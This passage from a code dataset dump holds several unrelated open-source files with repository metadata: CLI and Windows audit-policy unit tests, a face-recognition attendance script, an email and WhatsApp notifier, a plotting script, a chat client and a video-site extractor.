@patch(\"polyaxon_sdk.ProjectsV1Api.get_version\")\n def test_create_component(self, get_version, create_component):\n self.runner.invoke(components, [\"push\"])\n assert create_component.call_count == 0\n assert get_version.call_count == 0\n self.runner.invoke(components, [\"push\", \"--name=owner/foo\"])\n assert get_version.call_count == 0\n assert create_component.call_count == 0\n\n @patch(\"polyaxon_sdk.ProjectsV1Api.list_versions\")\n def test_list_components(self, list_components):\n self.runner.invoke(components, [\"ls\", \"--project=owner/foo\"])\n assert list_components.call_count == 1\n\n @patch(\"polyaxon_sdk.ProjectsV1Api.get_version\")\n def test_get_components(self, get_components):\n self.runner.invoke(components, [\"get\", \"-p\", \"admin/foo\"])\n assert get_components.call_count == 1\n\n @patch(\"polyaxon_sdk.ProjectsV1Api.patch_version\")\n def test_update_components(self, update_components):\n self.runner.invoke(\n components, [\"update\", \"-p\", \"admin/foo\", \"--description=foo\"]\n )\n assert update_components.call_count == 1\n\n @patch(\"polyaxon_sdk.ProjectsV1Api.create_version_stage\")\n def test_update_artifact_stage(self, stage_component):\n self.runner.invoke(\n components,\n [\"stage\", \"-p\", \"admin/foo\", \"-to\", \"production\", \"--reason=foo\"],\n )\n assert stage_component.call_count == 1\n", "repo_name": "sararijo/polyaxon", "sub_path": "core/tests/test_cli/test_components.py", "file_name": "test_components.py", "file_ext": "py", "file_size_in_byte": 1714, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "tests.test_cli.utils.BaseCommandTestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "polyaxon.cli.components.components", "line_number": 14, "usage_type": "argument"}, {"api_name": "polyaxon.cli.components.components", "line_number": 17, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 11, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 12, "usage_type": "call"}, {"api_name": "polyaxon.cli.components.components", "line_number": 23, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 21, "usage_type": "call"}, {"api_name": "polyaxon.cli.components.components", "line_number": 28, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 26, "usage_type": "call"}, {"api_name": "polyaxon.cli.components.components", "line_number": 34, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 31, "usage_type": "call"}, {"api_name": "polyaxon.cli.components.components", "line_number": 41, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 9, "usage_type": "attribute"}]} {"seq_id": "12851810604", "text": "import os\n\nimport pytest\n\npytestmark = [\n pytest.mark.windows_whitelisted,\n pytest.mark.skip_unless_on_windows,\n pytest.mark.destructive_test,\n pytest.mark.slow_test,\n]\n\n\n@pytest.fixture(scope=\"module\")\ndef lgpo(modules):\n return modules.lgpo\n\n\n@pytest.fixture(scope=\"module\")\ndef enable_legacy_auditing(lgpo):\n # To test and use these policy settings we have to disable adv auditing\n # Location: Windows Settings -> Security Settings -> Local Policies -> Security Options\n # Policy: \"Audit: Force audit policy subcategory settings...\"\n # Short Name: SceNoApplyLegacyAuditPolicy\n try:\n lgpo.set_computer_policy(\"SceNoApplyLegacyAuditPolicy\", \"Disabled\")\n lgpo.set_computer_policy(\"Audit account management\", \"No auditing\")\n check = lgpo.get_policy(\"SceNoApplyLegacyAuditPolicy\", \"machine\")\n assert check == \"Disabled\"\n check = lgpo.get_policy(\"Audit account management\", \"machine\")\n assert check == \"No auditing\"\n yield\n finally:\n lgpo.set_computer_policy(\"SceNoApplyLegacyAuditPolicy\", \"Not Defined\")\n lgpo.set_computer_policy(\"Audit account management\", \"Not Defined\")\n\n\n@pytest.fixture(scope=\"module\")\ndef clean_adv_audit():\n # An `audit.csv` file will cause these tests to fail. Delete the `audit.csv`\n # files from the following locations:\n # - C:\\Windows\\security\\audit\n # - C:\\Windows\\System32\\GroupPolicy\\Machine\\Microsoft\\Windows NT\\Audit\n win_dir = os.environ.get(\"WINDIR\")\n audit_csv_files = [\n r\"{}\\security\\audit\\audit.csv\".format(win_dir),\n r\"{}\\System32\\GroupPolicy\\Machine\\Microsoft\\Windows NT\\Audit\\audit.csv\".format(\n win_dir\n ),\n ]\n for audit_file in audit_csv_files:\n if os.path.exists(audit_file):\n os.remove(audit_file)\n yield\n\n\n@pytest.fixture(scope=\"module\")\ndef legacy_auditing_not_defined(lgpo):\n try:\n lgpo.set_computer_policy(\"SceNoApplyLegacyAuditPolicy\", \"Not Defined\")\n check = lgpo.get_policy(\"SceNoApplyLegacyAuditPolicy\", \"machine\")\n assert check == \"Not Defined\"\n yield\n finally:\n lgpo.set_computer_policy(\"SceNoApplyLegacyAuditPolicy\", \"Not Defined\")\n\n\n@pytest.mark.parametrize(\n \"setting\", [\"No auditing\", \"Success\", \"Failure\", \"Success, Failure\"]\n)\ndef test_auditing(lgpo, setting, enable_legacy_auditing, clean_adv_audit):\n \"\"\"\n Helper function to set an audit setting and assert that it was successful\n \"\"\"\n lgpo.set_computer_policy(\"Audit account management\", setting)\n result = lgpo.get_policy(\"Audit account management\", \"machine\")\n assert result == setting\n\n\n@pytest.mark.parametrize(\n \"setting_name,setting\",\n [\n (\"Audit account management\", \"Success\"),\n (\"Audit Account Management\", \"Failure\"),\n ],\n)\ndef test_auditing_case_names(\n lgpo, setting_name, setting, enable_legacy_auditing, clean_adv_audit\n):\n \"\"\"\n Helper function to set an audit setting and assert that it was successful\n \"\"\"\n lgpo.set_computer_policy(setting_name, setting)\n result = lgpo.get_policy(setting_name, \"machine\")\n assert result == setting\n\n\n@pytest.mark.parametrize(\"setting\", [\"Enabled\", \"Disabled\"])\ndef test_enable_legacy_audit_policy(\n lgpo, setting, legacy_auditing_not_defined, clean_adv_audit\n):\n lgpo.set_computer_policy(\"SceNoApplyLegacyAuditPolicy\", setting)\n result = lgpo.get_policy(\"SceNoApplyLegacyAuditPolicy\", \"machine\")\n assert result == setting\n", "repo_name": "saltstack/salt", "sub_path": "tests/pytests/functional/modules/win_lgpo/test_audit_settings_module.py", "file_name": "test_audit_settings_module.py", "file_ext": "py", "file_size_in_byte": 3476, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pytest.mark", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 13, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 43, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 52, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 56, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 67, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 79, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 97, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 97, "usage_type": "attribute"}]} {"seq_id": "16039917838", "text": "import cv2\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport insightface\r\nfrom insightface.app import FaceAnalysis\r\n# from insightface.data import get_image as ins_get_image\r\n\r\napp = FaceAnalysis(allowed_modules=['detection'])\r\napp.prepare(ctx_id=0, det_size=(640, 640))\r\n\r\nhandler = insightface.model_zoo.get_model('C:/Users/hungt/.insightface/models/buffalo_l/w600k_r50.onnx')\r\nhandler.prepare(ctx_id=0)\r\n\r\npath = \"E:/PYTHON/pythonProject/insightface/python-package/insightface/data/Faces_database/khanhnt.csv\"\r\nembedding_vectors = pd.read_csv(path).values\r\nname = \" \"\r\n\r\n# define a video capture object\r\nvid = cv2.VideoCapture(0)\r\nwhile (True):\r\n # Capture the video frame\r\n # by frame\r\n ret, frame = vid.read()\r\n # Display the resulting frame\r\n faces = app.get(frame)\r\n if faces == []:\r\n cv2.imshow('frame', frame)\r\n else:\r\n if len(faces) > 1:\r\n cv2.putText(frame, 'Only one face in screen', (140, 240), cv2.FONT_HERSHEY_COMPLEX, 1.0, (0, 0, 255), 1)\r\n cv2.imshow('frame', frame)\r\n\r\n else:\r\n rimg = app.draw_on(frame, faces, name)\r\n cv2.imshow('frame', rimg)\r\n\r\n embedding = handler.get(frame, faces[0])\r\n # embedding = app.get(frame)[-1]['embedding']\r\n for i in range(1, 6):\r\n distance = np.linalg.norm(embedding - embedding_vectors[:, i])\r\n if distance < 20:\r\n name = (path.split(\"/\")[-1]).split(\".\")[0]\r\n else:\r\n name = \" \"\r\n # the 'q' button is set as the\r\n # quitting button you may use any\r\n # desired button of your choice\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n# After the loop release the cap object\r\nvid.release()\r\n# Destroy all the windows\r\ncv2.destroyAllWindows()\r\n\r\n# import cv2\r\n# import numpy as np\r\n# import insightface\r\n# from insightface.app import FaceAnalysis\r\n# from insightface.data import get_image as ins_get_image\r\n#\r\n# app = FaceAnalysis(providers=['CUDAExecutionProvider', 'CPUExecutionProvider'])\r\n# app.prepare(ctx_id=0, det_size=(640, 640))\r\n# img_opp = cv2.imread(\"E:/khanhnt/opposite.jpg\")\r\n# img_up = cv2.imread(\"E:/khanhnt/up.jpg\")\r\n# img_down = cv2.imread(\"E:/khanhnt/down.jpg\")\r\n# img_right = cv2.imread(\"E:/khanhnt/right.jpg\")\r\n# img_left = cv2.imread(\"E:/khanhnt/left.jpg\")\r\n#\r\n# faces_opp = app.get(img_opp)\r\n# faces_up = app.get(img_up)\r\n# faces_down = app.get(img_down)\r\n# faces_right = app.get(img_right)\r\n# faces_left = app.get(img_left)\r\n#\r\n# print(\"opposite: \", faces_opp[0]['kps'])\r\n# print(\"up: \", faces_up[0]['kps'])\r\n# print(\"down: \", faces_down[0]['kps'])\r\n# print(\"right: \", faces_right[0]['kps'])\r\n# print(\"left: \", faces_left[0]['kps'])", "repo_name": "drkhanusa/attendence-by-face", "sub_path": "python-package/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2725, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "insightface.app.FaceAnalysis", "line_number": 9, "usage_type": "call"}, {"api_name": "insightface.model_zoo.get_model", "line_number": 12, "usage_type": "call"}, {"api_name": "insightface.model_zoo", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.waitKey", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 54, "usage_type": "call"}]} {"seq_id": "7382548404", "text": "import os\nimport yagmail\nfrom twilio.rest import Client\nimport webbrowser\nimport requests\ndef send_mail(receiver_mail,reveiver_whatsapp_number):\n receiver = \"add receiver mail\" # receiver email address\n body = \"Attendence File\" # email body\n filename = \"Attendance\"+os.sep+\"Attendance_2019-08-29_13-09-07.csv\" # attach the file\n filename = [os.path.join(\"Attendance\", f) for f in os.listdir(\"Attendance\")]\n #print(filename)\n print(\"You have entered your mail:\"+receiver_mail)\n print(\"You have entered your whatsapp number:\"+reveiver_whatsapp_number)\n file=filename[-1]\n #print(file)\n os.startfile(file)\n # mail information\n yag = yagmail.SMTP(\"use your mail\", \"use your mail password\")\n\n # sent the mail\n yag.send(\n to=receiver,\n subject=\"Attendance Report\", # email subject\n contents=body, # email body\n attachments=file, # file attached\n )\n account_sid = 'twilio id' \n auth_token = 'twilio token' \n client = Client(account_sid, auth_token) \n message = client.messages.create( \n from_='whatsapp:twilio whatsapp number with country code', \n body=f\"Your Attendance will be accepted, please check your mail\", \n to='whatsapp:+91whatsappnumber'\n )\n", "repo_name": "Abhishekmishra-17/Attendance-system-using-face-recognition-onscaling-temperature", "sub_path": "Face-recognition-attendace-system/automail.py", "file_name": "automail.py", "file_ext": "py", "file_size_in_byte": 1369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.sep", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 10, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 16, "usage_type": "call"}, {"api_name": "yagmail.SMTP", "line_number": 18, "usage_type": "call"}, {"api_name": "twilio.rest.Client", "line_number": 29, "usage_type": "call"}]} {"seq_id": "23167199337", "text": "import sys\r\nfrom cx_Freeze import setup, Executable\r\n\r\nbase = None\r\nif (sys.platform == \"win32\"):\r\n base = \"Win32GUI\"\r\n\r\nsetup( name = \"ImageRenamer\",\r\n version = \"0.1\",\r\n options = {\"build_exe\": {\"include_msvcr\": True}, \"bdist_msi\": {\"add_to_path\": True}},\r\n executables = [Executable(\"ImageRenamer.py\", base=base)])\r\n", "repo_name": "ma4ilda/imagerenamer", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 344, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.platform", "line_number": 5, "usage_type": "attribute"}, {"api_name": "cx_Freeze.setup", "line_number": 8, "usage_type": "call"}, {"api_name": "cx_Freeze.Executable", "line_number": 11, "usage_type": "call"}]} {"seq_id": "41478962767", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\ndef sign(x):\n\tif x >= 0:\n\t\treturn 1\n\telse:\n\t\treturn -1\n\ndef logistic(x):\n\treturn 1 / (1 + math.exp(-x))\n\ndef err01(x, y):\n\tif sign(x) == y:\n\t\treturn 0\n\telse:\n\t\treturn 1\n\ndef err1(x, y):\n\treturn max(0, 1 - y * x)\n\ndef err2(x, y):\n\treturn pow(max(0, 1 - y * x), 2)\n\ndef err3(x, y):\n\treturn max(0, -y * x)\n\ndef err4(x, y):\n\treturn logistic(-y * x)\n\ndef err5(x, y):\n\treturn math.exp(-y * x)\n\nx_range = np.arange(-2, 2, 0.0001)\ny_log = []\nerr_01 = []\nerr_1 = []\nerr_2 = []\nerr_3 = []\nerr_4 = []\nerr_5 = []\ny = 1\n\nfor i in range(len(x_range)):\n\ty_log.append(logistic(x_range[i]))\n\terr_01.append(err01(x_range[i], y))\n\terr_1.append(err1(x_range[i], y))\n\terr_2.append(err2(x_range[i], y))\n\terr_3.append(err3(x_range[i], y))\n\terr_4.append(err4(x_range[i], y))\n\terr_5.append(err5(x_range[i], y))\n\nplt.figure(figsize = (20, 7))\nplt.subplot(321)\nplt.plot(x_range, y_log, label = r'$\\frac{1}{1 + \\mathrm{exp(-w^Tx)}}$', color = 'red' )\nplt.plot(x_range, err_01, label = r'$err0/1$' )\nplt.legend()\n\nplt.subplot(322)\nplt.plot(x_range, err_1, label = r'$(max(0, 1-y\\mathrm{\\mathbf{w^Tx}}))^2$', color = 'blue' ) # max(0, 1 − ywT x)\nplt.plot(x_range, err_01, label = r'$[[sign(\\mathrm{\\mathbf{w^Tx}} )\\neq y]]$' )\nplt.legend()\n\nplt.subplot(323)\nplt.plot(x_range, err_2, label = r'$(max(0, 1-y\\mathrm{\\mathbf{w^Tx}}))^2$', color = 'black' ) # pow(max(0, 1 − ywT x), 2)\nplt.plot(x_range, err_01, label = r'$[[sign(\\mathrm{\\mathbf{w^Tx}} )\\neq y]]$' )\nplt.legend()\n\nplt.subplot(324)\nplt.plot(x_range, err_3, label = r'$max(0, -y\\mathrm{\\mathbf{w^Tx}})$', color = 'yellow' ) # max(0, −ywT x)\nplt.plot(x_range, err_01, label = r'$[[sign(\\mathrm{\\mathbf{w^Tx}} )\\neq y]]$' )\nplt.legend()\n\nplt.subplot(325)\nplt.plot(x_range, err_4, label = r'$\\theta(-y\\mathrm{\\mathbf{w^Tx}})$', color = 'green' ) # θ(−ywT x)\nplt.plot(x_range, err_01, label = r'$[[sign(\\mathrm{\\mathbf{w^Tx}} )\\neq y]]$' )\nplt.legend()\n\nplt.subplot(326)\nplt.plot(x_range, err_5, label = r'$exp(-y\\mathrm{\\mathbf{w^Tx}})$', color = '#AE0000' ) # exp(−ywT x)\nplt.plot(x_range, err_01, label = r'$[[sign(\\mathrm{\\mathbf{w^Tx}} )\\neq y]]$' )\nplt.legend()\n\nplt.savefig('hw3_2.png', dpi = 100)\nplt.show()\n", "repo_name": "kaka-lin/ML-Courses", "sub_path": "NTU_Hsuan-Tien/ML_Foundations/hw3.5/hw3_2-error&SGD.py", "file_name": "hw3_2-error&SGD.py", "file_ext": "py", "file_size_in_byte": 2218, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "math.exp", "line_number": 12, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}]} {"seq_id": "22594915224", "text": "import os\nimport argparse\nfrom datetime import datetime\nimport logging\nimport json\nimport asyncio\n\nfrom dotenv import load_dotenv\n\n\ndef get_args(host_default, port_default, token_default, username_default, message_default):\n '''Parses arguments from CLI.'''\n parser = argparse.ArgumentParser(description='Undergroung Chat CLI')\n parser.add_argument('--host', help='Host', type=str)\n parser.add_argument('--port', help='Port', type=int)\n group = parser.add_mutually_exclusive_group()\n group.add_argument('--token', help='Token', type=str)\n group.add_argument('--username', help='Username', type=str)\n parser.add_argument('--message', help='Message', type=str)\n args = parser.parse_args()\n if args.username:\n token_default = None\n if args.token:\n username_default = None\n parser.set_defaults(\n host=host_default,\n port=port_default,\n token=token_default,\n username=username_default,\n message=message_default\n )\n args = parser.parse_args()\n return vars(args)\n\n\nasync def authorize(host, port, token, username, message):\n '''Authorizes a user and calls a submit_message() if user exists\n or calls register().'''\n\n try:\n reader, writer = await asyncio.open_connection(host, port)\n data = await reader.readline()\n logging.info('Received: {}'.format(data.decode()))\n writer.write('{}\\n'.format(token).encode())\n logging.info('Sent token: {}'.format(token))\n data = await reader.readline()\n data_json = json.loads(data.decode())\n\n if data_json:\n logging.info('Received: {}'.format(data_json))\n await submit_message(reader, writer, message)\n elif username:\n logging.info('Go to register with username {}.'.format(username))\n await register(reader, writer, username)\n await submit_message(reader, writer, message)\n else:\n logging.info('Invalid token {}. Please check it.'.format(token))\n\n finally:\n writer.close()\n\n\nasync def register(reader, writer, username):\n '''Registers a new user in the chat and call submit_message().'''\n data = await reader.readline()\n logging.info(data.decode())\n writer.write('{}\\n'.format(sanitize(username)).encode())\n data = await reader.readline()\n token = json.loads(data.decode())['account_hash']\n logging.info('Username \"{}\" registered with token {}.'.format(\n sanitize(username),\n token\n ))\n\n\ndef sanitize(text):\n return text.replace('\\n', '').replace('\\r', '')\n\n\nasync def submit_message(reader, writer, message):\n '''Submits a message to the chat.'''\n data = await reader.readline()\n logging.info('Received: {}'.format(data.decode()))\n message = '{}\\n\\n'.format(sanitize(message)).encode()\n writer.write(message)\n logging.info('Sent message: {}'.format(message.decode()))\n\n\nif __name__ == '__main__':\n\n logging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s,%(msecs)d %(levelname)s: %(message)s',\n datefmt='%H:%M:%S',\n )\n\n load_dotenv()\n args = get_args(\n os.getenv('HOST'),\n os.getenv('PORT_WRITE'),\n os.getenv('TOKEN'),\n os.getenv('USERNAME'),\n os.getenv('MESSAGE')\n )\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(authorize(**args))\n loop.close()\n", "repo_name": "olegush/underground-chat-cli", "sub_path": "write.py", "file_name": "write.py", "file_ext": "py", "file_size_in_byte": 3428, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "asyncio.open_connection", "line_number": 41, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 45, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 47, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 53, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 57, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 66, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 69, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 83, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 92, "usage_type": "attribute"}, {"api_name": "dotenv.load_dotenv", "line_number": 97, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 99, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 100, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 101, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 102, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 103, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 106, "usage_type": "call"}]} {"seq_id": "37598705022", "text": "import re\n\nfrom .common import InfoExtractor\nfrom ..utils import extract_attributes\n\n\nclass BFMTVBaseIE(InfoExtractor):\n _VALID_URL_BASE = r'https?://(?:www\\.|rmc\\.)?bfmtv\\.com/'\n _VALID_URL_TMPL = _VALID_URL_BASE + r'(?:[^/]+/)*[^/?&#]+_%s[A-Z]-(?P\\d{12})\\.html'\n _VIDEO_BLOCK_REGEX = r'(]+class=\"video_block\"[^>]*>)'\n BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/%s/%s_default/index.html?videoId=%s'\n\n def _brightcove_url_result(self, video_id, video_block):\n account_id = video_block.get('accountid') or '876450612001'\n player_id = video_block.get('playerid') or 'I2qBTln4u'\n return self.url_result(\n self.BRIGHTCOVE_URL_TEMPLATE % (account_id, player_id, video_id),\n 'BrightcoveNew', video_id)\n\n\nclass BFMTVIE(BFMTVBaseIE):\n IE_NAME = 'bfmtv'\n _VALID_URL = BFMTVBaseIE._VALID_URL_TMPL % 'V'\n _TESTS = [{\n 'url': 'https://www.bfmtv.com/politique/emmanuel-macron-l-islam-est-une-religion-qui-vit-une-crise-aujourd-hui-partout-dans-le-monde_VN-202010020146.html',\n 'info_dict': {\n 'id': '6196747868001',\n 'ext': 'mp4',\n 'title': 'Emmanuel Macron: \"L\\'Islam est une religion qui vit une crise aujourd’hui, partout dans le monde\"',\n 'description': 'Le Président s\\'exprime sur la question du séparatisme depuis les Mureaux, dans les Yvelines.',\n 'uploader_id': '876450610001',\n 'upload_date': '20201002',\n 'timestamp': 1601629620,\n 'duration': 44.757,\n 'tags': ['bfmactu', 'politique'],\n 'thumbnail': 'https://cf-images.eu-west-1.prod.boltdns.net/v1/static/876450610001/5041f4c1-bc48-4af8-a256-1b8300ad8ef0/cf2f9114-e8e2-4494-82b4-ab794ea4bc7d/1920x1080/match/image.jpg',\n },\n }]\n\n def _real_extract(self, url):\n bfmtv_id = self._match_id(url)\n webpage = self._download_webpage(url, bfmtv_id)\n video_block = extract_attributes(self._search_regex(\n self._VIDEO_BLOCK_REGEX, webpage, 'video block'))\n return self._brightcove_url_result(video_block['videoid'], video_block)\n\n\nclass BFMTVLiveIE(BFMTVIE): # XXX: Do not subclass from concrete IE\n IE_NAME = 'bfmtv:live'\n _VALID_URL = BFMTVBaseIE._VALID_URL_BASE + '(?P(?:[^/]+/)?en-direct)'\n _TESTS = [{\n 'url': 'https://www.bfmtv.com/en-direct/',\n 'info_dict': {\n 'id': '5615950982001',\n 'ext': 'mp4',\n 'title': r're:^le direct BFMTV WEB \\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}$',\n 'uploader_id': '876450610001',\n 'upload_date': '20171018',\n 'timestamp': 1508329950,\n },\n 'params': {\n 'skip_download': True,\n },\n }, {\n 'url': 'https://www.bfmtv.com/economie/en-direct/',\n 'only_matching': True,\n }]\n\n\nclass BFMTVArticleIE(BFMTVBaseIE):\n IE_NAME = 'bfmtv:article'\n _VALID_URL = BFMTVBaseIE._VALID_URL_TMPL % 'A'\n _TESTS = [{\n 'url': 'https://www.bfmtv.com/sante/covid-19-un-responsable-de-l-institut-pasteur-se-demande-quand-la-france-va-se-reconfiner_AV-202101060198.html',\n 'info_dict': {\n 'id': '202101060198',\n 'title': 'Covid-19: un responsable de l\\'Institut Pasteur se demande \"quand la France va se reconfiner\"',\n 'description': 'md5:947974089c303d3ac6196670ae262843',\n },\n 